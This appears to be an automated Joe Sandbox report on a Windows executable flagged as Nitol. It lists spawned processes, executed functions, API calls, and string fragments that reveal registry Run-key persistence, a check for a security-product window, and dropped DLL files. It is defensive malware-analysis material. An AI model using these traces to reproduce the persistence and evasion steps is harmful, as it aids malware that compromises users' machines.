Commandline:	"C:\Users\user\Desktop\8CoDx513sS.exe"
Imagebase:	0x400000
File size:	3'255'296 bytes
MD5 hash:	EF9CA8C2E7AF86D9C440D78027BBC2AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:44:35
Start date:	14/09/2024
Path:	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nitol, Description: Yara detected Nitol, Source: 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	12:44:45
Start date:	14/09/2024
Path:	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:44:53
Start date:	14/09/2024
Path:	C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"
Imagebase:	0x400000
File size:	6'453'568 bytes
MD5 hash:	C8E8EEAF5464AF1A188B3DC12C890813
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	21.1%
Total number of Nodes:	966
Total number of Limit Nodes:	18

Executed Functions

Function 02510031 Relevance: 70.8, APIs: 2, Strings: 38, Instructions: 811memoryCOMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 025104A2
VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 025104D2

Strings

Vi, xrefs: 0251012B
a, xrefs: 0251013D
b, xrefs: 02510112
ushI, xrefs: 0251019A
A, xrefs: 02510146
Ta, xrefs: 0251027C
F, xrefs: 0251018B
Lo, xrefs: 025100FB
t, xrefs: 02510186
ee, xrefs: 025100EF
Fu, xrefs: 02510259
a, xrefs: 0251016C
Syst, xrefs: 02510218
ctio, xrefs: 0251026A
a, xrefs: 02510102
Cach, xrefs: 025101F9
Li, xrefs: 0251010B
S, xrefs: 025100E6
Via, xrefs: 02510311
A, xrefs: 02510243
a, xrefs: 0251011B
otec, xrefs: 0251017E
tu, xrefs: 02510165
mI, xrefs: 02510220
P, xrefs: 02510175
yA, xrefs: 02510124
b, xrefs: 02510286
st, xrefs: 025101AC
G, xrefs: 02510204
fo, xrefs: 0251022B
iv, xrefs: 02510211
ucti, xrefs: 025101BD
tu, xrefs: 02510136
p, xrefs: 025100F6
Rt, xrefs: 02510232
tNat, xrefs: 02510209
o, xrefs: 025101C8
oc, xrefs: 02510153

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID: A$A$Cach$F$Fu$G$Li$Lo$P$Rt$S$Syst$Ta$Vi$Via$a$a$a$a$b$b$ctio$ee$fo$iv$mI$o$oc$otec$p$st$t$tNat$tu$tu$ucti$ushI$yA
API String ID: 2032221330-2899676511
Opcode ID: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction ID: 3ce2c9c85b956da7e7fac9c2fc2096e2e202bdb0a531420990ce4a8b98ed6fe5
Opcode Fuzzy Hash: 15b3c3a1d8b5dafea4a93bb4805a509b4eeb6b1eaca912e0ae13e9403863b76d
Instruction Fuzzy Hash: 54628C715093858FE730CF24C890BABBBE5BF94708F04492DE9C98B291E774D985CB5A

Function 10008BEA Relevance: 4.9, APIs: 3, Instructions: 395
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10007E24: SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FDD,?,00000000,?,?,?,10008134,?,00000140,00000000,00000000), ref: 10007E50

__fassign.LIBCMT ref: 10008E19
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 10008F7E
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 10008FAA

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: FileTime$LocalPointerSystem__fassign
String ID:
API String ID: 3768451866-0
Opcode ID: 52d833dbd3b199b17819e1814d92ee56e1d4ef17d76f3ab6b4a36400ce4a2c6d
Instruction ID: cdff0063c51a5555d81074946b5b8cf40ebe08a90d5a523aadb0789bd65cd57b
Opcode Fuzzy Hash: 52d833dbd3b199b17819e1814d92ee56e1d4ef17d76f3ab6b4a36400ce4a2c6d
Instruction Fuzzy Hash: 9CF1CF70A046699BEB64CF24C8847D9BBF0FF19380F1046EAE899D7285D735AB81CF50

Function 100064EE Relevance: .7, Instructions: 662COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: daf84a001b2d6674fb154d1da7b023b23ba600b107b010f76d5785b6953f5b76
Instruction ID: 83a3c1b78cdceb8e51e7e58b52f85a8868b87e1d53c8100b0983492d6ab7fe2b
Opcode Fuzzy Hash: daf84a001b2d6674fb154d1da7b023b23ba600b107b010f76d5785b6953f5b76
Instruction Fuzzy Hash: 8F522B71D00216DFDF54CF58C9906ADBBF2FF08355F2081AAE859AB249D731AA90CF90

Function 100039A3 Relevance: 211.4, APIs: 71, Strings: 49, Instructions: 1399
sleepregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10003B3D
Sleep.KERNEL32(00000001), ref: 10003B5E
_memset.LIBCMT ref: 10003C90
Sleep.KERNEL32(00000001), ref: 10003CB1
_memset.LIBCMT ref: 10003DE1
__time64.LIBCMT ref: 10003E01
_memset.LIBCMT ref: 10003E24
_rand.LIBCMT ref: 10003E2C
_rand.LIBCMT ref: 10003E42
_memset.LIBCMT ref: 10003EC5
wsprintfA.USER32 ref: 10003EEA
_memset.LIBCMT ref: 10003F01
Sleep.KERNEL32(00000001), ref: 10003F32
_memset.LIBCMT ref: 10003F45
wsprintfA.USER32 ref: 10003F62
_memset.LIBCMT ref: 10003FB1
wsprintfA.USER32 ref: 10003FD7
_memset.LIBCMT ref: 10003FF2
Sleep.KERNEL32(00000001), ref: 10004011
_memset.LIBCMT ref: 10004043
wsprintfA.USER32 ref: 10004064
_memset.LIBCMT ref: 1000407B
Sleep.KERNEL32(00000001), ref: 1000409A
_memset.LIBCMT ref: 100040C7
wsprintfA.USER32 ref: 100040E8
_memset.LIBCMT ref: 100040FF
Sleep.KERNEL32(000003F2), ref: 10004175
Sleep.KERNEL32(000003F2), ref: 100041B2
Sleep.KERNEL32(000003F2), ref: 100041EF
__time64.LIBCMT ref: 100041FD
_memset.LIBCMT ref: 1000421B
_rand.LIBCMT ref: 10004225
_memset.LIBCMT ref: 10004254
_memset.LIBCMT ref: 100042B2

Part of subcall function 1000A073: __EH_prolog3_GS.LIBCMT ref: 1000A07D
Part of subcall function 1000A073: wsprintfA.USER32 ref: 1000A10C
Part of subcall function 1000A073: OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017390,000000FF), ref: 1000A445

Part of subcall function 10002E6F: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10002E8B
Part of subcall function 10002E6F: GetFileSize.KERNEL32(00000000,00000000), ref: 10002E96
Part of subcall function 10002E6F: ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 10002EB1
Part of subcall function 10002E6F: CloseHandle.KERNEL32(?), ref: 10002ED0

Sleep.KERNEL32(00000001), ref: 100043D2
Sleep.KERNEL32(00000320), ref: 100043D9
_memset.LIBCMT ref: 100043F3
_mbstowcs.LIBCMT ref: 10004410

Part of subcall function 1000AFCD: __mbstowcs_l_helper.LIBCMT ref: 1000AFED

_memset.LIBCMT ref: 10004431
_memset.LIBCMT ref: 10004458
_strcat_s.LIBCMT ref: 10004475
FindWindowExA.USER32(00000000,00000000,?,00000000), ref: 10004488
Sleep.KERNEL32(?,?,?,?,?,?,?,?,00000000,000000FB), ref: 100044B5
GlobalAddAtomA.KERNEL32(?), ref: 100046AB
_memset.LIBCMT ref: 10004724
_memset.LIBCMT ref: 100047A1
_memset.LIBCMT ref: 10004804

Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001BCD
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001BEB
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10001BF8
Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 10001E65
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 10001E83
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10001E90
Part of subcall function 100018EA: OpenProcess.KERNEL32(00001000,00000000,00000000), ref: 100020FD
Part of subcall function 100018EA: OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000211B
Part of subcall function 100018EA: CloseHandle.KERNEL32(?), ref: 10002128

Part of subcall function 10002388: __EH_prolog3_GS.LIBCMT ref: 10002392
Part of subcall function 10002388: CoInitializeEx.COMBASE(00000000,00000000), ref: 1000239B
Part of subcall function 10002388: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 100023AD
Part of subcall function 10002388: CoCreateInstance.COMBASE(100184F0,00000000,00000001,100182E0,?), ref: 100023C7
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 100023D4
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 100023F4
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 10002411
Part of subcall function 10002388: VariantInit.OLEAUT32(?), ref: 1000242E

_memset.LIBCMT ref: 10004B70
LoadLibraryA.KERNEL32(?,?,00000000,000000F3), ref: 10004B80
_memset.LIBCMT ref: 10004BC1
GetProcAddress.KERNEL32(00000000,?), ref: 10004BD2
_memset.LIBCMT ref: 10004BFE
ShellExecuteA.SHELL32(00000000,?,?,00000000,00000000,00000005,?,00000000,000000FA,?,?,?,?,00000000,000000F1), ref: 10004C1B
Sleep.KERNEL32(000003E8,?,?,?,?,00000000,000000F1), ref: 10004C28

Part of subcall function 100031C7: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 100031EE
Part of subcall function 100031C7: _strrchr.LIBCMT ref: 100031FD

Sleep.KERNEL32(00000001,?,?,?,?,00000000,000000F1), ref: 10004C31

Part of subcall function 1000BCBF: _doexit.LIBCMT ref: 1000BCCB

RegOpenKeyExA.KERNEL32(80000001,1001A800,00000000,000F003F,?), ref: 10004C52
RegSetValueExA.KERNEL32(?,1001A830,00000000,00000001,?,?,?,?,?,?,00000000,000000F1), ref: 10004C84
RegCloseKey.KERNEL32(?,?,?,?,?,00000000,000000F1), ref: 10004C90
Sleep.KERNEL32(000003E8), ref: 10004CA6

Strings

xe, xrefs: 100042DD
n, xrefs: 10004132
le:///, xrefs: 10004A0B
cute, xrefs: 10004BAC
%s%s, xrefs: 10004282
Shel, xrefs: 10004B96
lExe, xrefs: 10004BA1
2.l, xrefs: 1000476E
d "HK, xrefs: 10004834
G_SZ /d ", xrefs: 10004927
Shel, xrefs: 10004B4F
Open, xrefs: 10004BEC
%s.e, xrefs: 100042D2
TWARE\Mic, xrefs: 10004865
t4d., xrefs: 10004026
C:\P, xrefs: 10003E7C
tmp, xrefs: 10004031
dowWndClass, xrefs: 10004A6F
0SafeMonClass, xrefs: 10004436
tmp, xrefs: 100040B5
text/, xrefs: 10004343
dows\Curr, xrefs: 100048AE
l32., xrefs: 10004B5A
tmp, xrefs: 10003F9F
t5d., xrefs: 100040AA
A, xrefs: 10004BB7
entVe, xrefs: 100048C7
(x8, xrefs: 10003EA8
laos, xrefs: 10004141, 10004148
hire, xrefs: 10004127
cef.dll, xrefs: 10003F7F
roso, xrefs: 1000487E
un" /v de, xrefs: 100048F6
BkSha, xrefs: 10004A4D
6)\, xrefs: 10003EB3
rogr, xrefs: 10003E87
Q36, xrefs: 10004426
dll, xrefs: 10004B65
mo /t RE, xrefs: 1000490F
%s%s, xrefs: 10003FC9, 10003FD5, 10004062, 100040E6
iles, xrefs: 10003E9D
t3d., xrefs: 10003F94
am F, xrefs: 10003E92
lalala123%, xrefs: 10004328
g.e, xrefs: 100047D1
.exe, xrefs: 1000428D
rsion\R, xrefs: 100048DF
ft\Win, xrefs: 10004895
CU\SOF, xrefs: 1000484C

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _memset$Sleep$Open$Processwsprintf$Close$FileHandleInitVariant$Token_rand$CreateH_prolog3_Initialize__time64$AddressAtomDebugExecuteFindGlobalInstanceLibraryLoadModuleNameOutputProcReadSecurityShellSizeStringValueWindow__mbstowcs_l_helper_doexit_mbstowcs_strcat_s_strrchr
String ID: (x8$%s%s$%s%s$%s.e$.exe$0SafeMonClass$2.l$6)\$A$BkSha$C:\P$CU\SOF$G_SZ /d "$Open$Q36$Shel$Shel$TWARE\Mic$am F$cef.dll$cute$d "HK$dll$dowWndClass$dows\Curr$entVe$ft\Win$g.e$hire$iles$l32.$lExe$lalala123%$laos$le:///$mo /t RE$n$rogr$roso$rsion\R$t3d.$t4d.$t5d.$text/$tmp$tmp$tmp$un" /v de$xe
API String ID: 3865134439-1078484780
Opcode ID: bcba9a03ebc745c6c9ef568a02bceb63eba4ccff7ef20175eef1f4b3b0fd5936
Instruction ID: 9414b680137bf0bcd4547a4c68e9813ebc8b6194abef577f78acc1c606009002
Opcode Fuzzy Hash: bcba9a03ebc745c6c9ef568a02bceb63eba4ccff7ef20175eef1f4b3b0fd5936
Instruction Fuzzy Hash: C1B2E27254C3C5AAE221DB60D845FABB7E9EFC4740F00482EF5C8CB291EAB19945CB57

Function 100092CD Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 252
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__fassign.LIBCMT ref: 100093C4
_memset.LIBCMT ref: 100093F8
_memset.LIBCMT ref: 1000941C
_strcat_s.LIBCMT ref: 10009437
_sprintf.LIBCMT ref: 100094B8
_sprintf.LIBCMT ref: 100094E0
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 10009516
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,00000010,?,00000001), ref: 1000959F
SetFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000010,?,00000001), ref: 100095EB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000010,?,00000001), ref: 100095F7

Strings

:, xrefs: 10009497
\, xrefs: 10009481
%s%s, xrefs: 100094B2
text.e, xrefs: 100093DB

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: File$_memset_sprintf$CloseCreateHandleTimeWrite__fassign_strcat_s
String ID: %s%s$:$\$text.e
API String ID: 3001508280-2720340845
Opcode ID: 89ce276ca9c25a3d2250b8a5f979cf644cb332a8bec2c3594fc32de992261c0e
Instruction ID: 95cf91082f5e8f9038fde79208872303f001e9a85a1c0fd6d327d930792d3668
Opcode Fuzzy Hash: 89ce276ca9c25a3d2250b8a5f979cf644cb332a8bec2c3594fc32de992261c0e
Instruction Fuzzy Hash: 7191CF719046299FFB21CB64CC85BDABBB8EF08395F0041E6E658A3185D770AFC58F91

Function 10002D0C Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 10002D4B
_memset.LIBCMT ref: 10002D74
Sleep.KERNEL32(00000001), ref: 10002D94
_malloc.LIBCMT ref: 10002DCE
_memset.LIBCMT ref: 10002DFB
WriteFile.KERNEL32(?,00000000,1F400000,?,00000000), ref: 10002E13
_free.LIBCMT ref: 10002E1A
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 10002E42
FlushFileBuffers.KERNEL32(?), ref: 10002E4E
CloseHandle.KERNEL32(?), ref: 10002E5A

Strings

cef.dll, xrefs: 10002DA9
lib, xrefs: 10002D8C

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: File$Write_memset$BuffersCloseCreateFlushHandleSleep_free_malloc
String ID: cef.dll$lib
API String ID: 1923221151-1944707463
Opcode ID: af1fb676f7e5438fa0bebaa032880d4ab2649f0798bcc100e61b5f156e24d6a8
Instruction ID: 84f4d6415b9627797dc51d0b2b243c43342c9edd24b88db58e6d320d45d423b6
Opcode Fuzzy Hash: af1fb676f7e5438fa0bebaa032880d4ab2649f0798bcc100e61b5f156e24d6a8
Instruction Fuzzy Hash: 1931C27190022CAFEB15DF24CC85FEABBB9EB19350F0040E5F688A6150DAB19FC58F60

Function 100028B9 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 312
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 10002908
_memset.LIBCMT ref: 1000291A
_memset.LIBCMT ref: 10002929
_memset.LIBCMT ref: 10002B1A
_memset.LIBCMT ref: 10002C37
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000001,00000000), ref: 10002CA0
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10002CC3
FlushFileBuffers.KERNEL32(00000000), ref: 10002CCA
CloseHandle.KERNEL32(00000000), ref: 10002CD1

Strings

<, xrefs: 100029B0

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _memset$File$BuffersCloseCreateFlushHandleWrite
String ID: <
API String ID: 2144675991-4251816714
Opcode ID: 35b56ce232240c5ba125c630af1b4c3d7e2c83da35e680a9483d9de7ce6c068a
Instruction ID: c9b3eae26c5acdf6cf517e6dac6e3a1d0db8d38e0b9665b6ccb4ddf98d55ad72
Opcode Fuzzy Hash: 35b56ce232240c5ba125c630af1b4c3d7e2c83da35e680a9483d9de7ce6c068a
Instruction Fuzzy Hash: C5C1D976900128AFEB21DF648C85DEABBFDEB09394F04C1E6F509A2151DB319F868F54

Function 1000917F Relevance: 10.6, APIs: 7, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(?,?,0000000D,?), ref: 100091E4
CreateDirectoryA.KERNEL32(?,00000000,?,0000000D,?), ref: 100091F8
__fassign.LIBCMT ref: 100091AB

Part of subcall function 1000BE6B: __mbsnbcpy_l.LIBCMT ref: 1000BE7B

__fassign.LIBCMT ref: 10009263
__fassign.LIBCMT ref: 10009292
GetFileAttributesA.KERNEL32(00000000,?,0000000D,?), ref: 100092A5
CreateDirectoryA.KERNEL32(00000000,00000000,?,0000000D,?), ref: 100092B9

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __fassign$AttributesCreateDirectoryFile$__mbsnbcpy_l
String ID:
API String ID: 2854908881-0
Opcode ID: ef93fddedd5a47a9b2f82d548d8436e5c49784b3ef642697a1e12f4647eca42a
Instruction ID: 09bb1cd283b21d06036cc29378906480a881ab26cad0b4534a5c7fb57da602ce
Opcode Fuzzy Hash: ef93fddedd5a47a9b2f82d548d8436e5c49784b3ef642697a1e12f4647eca42a
Instruction Fuzzy Hash: 764106759042896AEB00CB688CC9BEA77EDDB16380F5001E5E994D3196DB709E88CB60

Function 1000A073 Relevance: 9.3, APIs: 6, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 1000A07D
wsprintfA.USER32 ref: 1000A10C
wsprintfA.USER32 ref: 1000A42F

Part of subcall function 10008BA1: __fassign.LIBCMT ref: 10008BB4

_wprintf.LIBCMT ref: 1000A1AB
std::_Xinvalid_argument.LIBCPMT ref: 1000A40B
OutputDebugStringA.KERNEL32(?,?,?,?,?,?,10017390,000000FF), ref: 1000A445

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: wsprintf$DebugH_prolog3_OutputStringXinvalid_argument__fassign_wprintfstd::_
String ID:
API String ID: 2279894289-0
Opcode ID: 11016cb91bfdffcad8c50fc4e89058a522befb46e04eb4a76ae1c1dd26e4ef8b
Instruction ID: 0414818abac732617140b705107d7de7fcc6daf0e6b3e2f6870cf8dad2e0bf32
Opcode Fuzzy Hash: 11016cb91bfdffcad8c50fc4e89058a522befb46e04eb4a76ae1c1dd26e4ef8b
Instruction Fuzzy Hash: 83C12875D002689BEF12CFA4CC81ADDBBB9EF09390F5142AAE909A7145D731AF85CF41

Function 10002E6F Relevance: 6.1, APIs: 4, Instructions: 68
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 10002E8B
GetFileSize.KERNEL32(00000000,00000000), ref: 10002E96

Part of subcall function 1000AAAE: _malloc.LIBCMT ref: 1000BD32

ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 10002EB1
CloseHandle.KERNEL32(?), ref: 10002ED0

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: File$CloseCreateHandleReadSize_malloc
String ID:
API String ID: 1369180008-0
Opcode ID: 43ffbe9fef497a427a698b5a96cf36a941377bfa296f397319d131f9a261867a
Instruction ID: f8cda4dbb7f37f08055f9443ef7e305fee5504288fd625001f8f3e848fa1aeb4
Opcode Fuzzy Hash: 43ffbe9fef497a427a698b5a96cf36a941377bfa296f397319d131f9a261867a
Instruction Fuzzy Hash: 9A1130756001287AFB21AF71DC89EAB3F6CEF466E0F008125F909AA155DB70AE45C7B0

Function 1000BD18 Relevance: 6.0, APIs: 4, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000BD32

Part of subcall function 1000B4DB: __FF_MSGBANNER.LIBCMT ref: 1000B4F4
Part of subcall function 1000B4DB: __NMSG_WRITE.LIBCMT ref: 1000B4FB
Part of subcall function 1000B4DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B520

std::exception::exception.LIBCMT ref: 1000BD67
std::exception::exception.LIBCMT ref: 1000BD81
__CxxThrowException@8.LIBCMT ref: 1000BD92

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 19b03381f4e1fb7c26b576c4ae6dc0a072455f1f51a6a7b52bba0e8380992317
Instruction ID: bc3cef375f6e5f2a2fe7a71726f133796263d833e5960e636c5db164b2c3f8c5
Opcode Fuzzy Hash: 19b03381f4e1fb7c26b576c4ae6dc0a072455f1f51a6a7b52bba0e8380992317
Instruction Fuzzy Hash: C8F02D78400A5EABFB00DF90CC41DED7BA5DF102D0F50012AF814DA095DF74EB868740

Function 100086E0 Relevance: 4.6, APIs: 3, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 1000872C

Part of subcall function 1000B4DB: __FF_MSGBANNER.LIBCMT ref: 1000B4F4
Part of subcall function 1000B4DB: __NMSG_WRITE.LIBCMT ref: 1000B4FB
Part of subcall function 1000B4DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B520

_malloc.LIBCMT ref: 1000873D
_free.LIBCMT ref: 10008759

Part of subcall function 1000B4A1: RtlFreeHeap.NTDLL(00000000,00000000,?,1000B074,?,?,1000101C), ref: 1000B4B7
Part of subcall function 1000B4A1: GetLastError.KERNEL32(?,?,1000B074,?,?,1000101C), ref: 1000B4C9

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: Heap_malloc$AllocateErrorFreeLast_free
String ID:
API String ID: 916394080-0
Opcode ID: 0e2f8eca77108aeb1b6ed1f24af0d0ac6685543ba65a798e007d424e16b72cd3
Instruction ID: e7c786be0955e3876709e071ec6019c6e026b503d475ac081868585f52938471
Opcode Fuzzy Hash: 0e2f8eca77108aeb1b6ed1f24af0d0ac6685543ba65a798e007d424e16b72cd3
Instruction Fuzzy Hash: 68418D75A04656EFDB45CF68C480598BBF8FF0878072041AAE994CBB4AD730EA51CFD4

Function 10007FC6 Relevance: 4.6, APIs: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10007E24: SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000002,10007FDD,?,00000000,?,?,?,10008134,?,00000140,00000000,00000000), ref: 10007E50

SetFilePointer.KERNEL32(FA83E855,00000000,00000000,00000001,?,00000000,?,?,?,10008134,?,00000140,00000000,00000000), ref: 10007FFE
_malloc.LIBCMT ref: 1000802E

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: FilePointer$_malloc
String ID:
API String ID: 3040784002-0
Opcode ID: 51db35f44acd13d63431e99d2a930dd10014cc89937942bb976eba232c3f333b
Instruction ID: c006fe97fa2721d9d60db71c3f314c2ab87d4be647a178f6e1c7948b357b9f4e
Opcode Fuzzy Hash: 51db35f44acd13d63431e99d2a930dd10014cc89937942bb976eba232c3f333b
Instruction Fuzzy Hash: 5D41C270E04246AAFB50DF64C844B5EBBE5FB043E4F11866AE954E72CAD7719F48CB00

Function 10007D78 Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,00000000,00000141,00000141,?,10008B73,?,?), ref: 10007D99
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,00000140,?,1000966A,?,00000004,1000A0E1,?,?,00000334,100043A7,?), ref: 10007DBD
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000020,?,1000966A,?,00000004,1000A0E1,?,?,00000334,100043A7,?), ref: 10007DF2

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

